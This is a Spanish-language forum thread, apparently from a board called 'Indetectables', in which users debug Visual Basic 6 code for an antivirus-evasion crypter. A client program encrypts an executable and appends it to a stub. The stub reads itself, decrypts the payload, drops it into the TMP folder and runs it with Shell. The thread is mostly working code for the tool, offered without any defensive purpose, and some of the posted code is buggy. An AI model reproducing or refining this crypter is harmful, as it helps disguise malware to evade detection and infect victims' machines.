Indetectables

Bueno estoy intentando usar este módulo de encryptación , pero no consigo hacerlo funcionar, os dejo el code haber que hago mal...

CLIENTE):

Private Sub Command1_Click()
With Dlg
.Filter = "eje | *.exe"
.ShowOpen
End With
Text1.Text = Dlg.FileName

End Sub

Private Sub Command2_Click()
Dim stub As String, archivo As String
Dim Loquequieras As String, nombre As New clsCryptAPI


Open App.Path & "\stub.exe" For Binary As 1
stub = Space(LOF(1))
Get 1, , stub
Close 1

Open Text1.Text For Binary As 1
archivo = Space(LOF(1))
Get 1, , archivo
Close 1

Loquequieras = nombre.EncryptString(archivo, "pass")

Open App.Path & "\crypted.exe" For Binary As #1
Put 1, , stub & "xprox"
Put 1, , Loquequieras & "xprox"
Close 1

MsgBox " fin "
End Sub




STUB:

Private Sub Form_Load()
Dim yo As String, stub As String, otro As String

yo = App.Path & App.EXEName & ".exe"

Open yo For Binary As 1
stub = Space(LOF(1))
Get 1, , stub
Close 1
Dim loquequieras() As String, nombre As New clsCryptAPI


loquequieras() = Split(stub, "xprox")(1)


otro = nombre.DecryptString(loquequieras(2), "pass")


Open App.Path & "\decoded.exe" For Binary As 1
Put 1, , nombre.DecryptString(loquequieras(2), "pass")
Close 1

Shell App.Path & "decoded.exe"


End Sub






Sé que tiene boberías como el decoded.exe pero es para probar... haber quien me dice donde está el error xD

Haber porque entre conexion y eso mejor asi...
Me da pereza hacerlo asi que te guio para que aprendas

CLIENTE

lo metes en modulo de clase class1

Dim pro As String
Open ... For Binary As #1
pro = Space(....
Get #1, , pro
Close #1
Dim ot As String
...."stub.exe" (lo de agarrar stub)
Open .... For Binary As #1
ot = Space(....
Get #1, , ot
Close #1
Dim Class1 As String
Dim je As New Class1
oooo = je.' nombre de la parte' (pro, contraseña---> da igual la que sea)

Open .... For Binary As #1
Put #1, , ot + contraseña
Put #1, , je.' nombre de la parte' (pro, contraseña)

Close #1

nombre de la parte: Public Function nombre(Text As String, Optional Password As String) As String

'Set the new key if any was sent to the function
If (Len(Password) > 0) Then llave = Password

'Return the encrypted data
nombre = decri(Text, True)



End Function

STUB

dim ammm() as string
ammm(14545) = ' parte del comienzo(ammm(14545), contraseña)
y este lo dejas dentro de los datos, no abres otro class ni nada para no liar mucho la cosa.

Suerte

Tio... o yo soy muy corto o algo , pero es que no lo entiendo , haber !

dim stub as string, archivo as string

Open app.path & "\stub.exe" For Binary as 1
stub=space(lof(1))
get 1,, stub
close 1

Lo mismo con archivo

Ahora bien
Dim algo as string, pepe as new ClsCryptApi
algo = pepe.EncryptString(archivo, "pass")

Open app.path & "\server.exe" For Binary as 1
Put 1 ,, stub & "SPLIT"
put 1,, algo & "SPLIT"

Close 1
Msgbox " FIN "


Hasta aquí el cliente , creo que sería asi como yo te pongo.


STUB :


Dim stub as string , otro() as string

Open app.path & app.exename & ".exe" FOr Binary as 1
stub = space(lof(1))
get 1,, stub
close 1

Otro() = SPlit(stub, "SPLIT")

Dim algo as string, algomas as new CLsCryptApi

algo = algomas.DecryptString(otro(2), "pass")

Open Environ("TMP") & "\decrypted.exe" For Binary as 1

Put 1, , algo
close 1

SHell ENviron("TMP") & "\decrypted.exe"



Sería así no ?

Solucionado By M3M0 , Gracias igualmente !!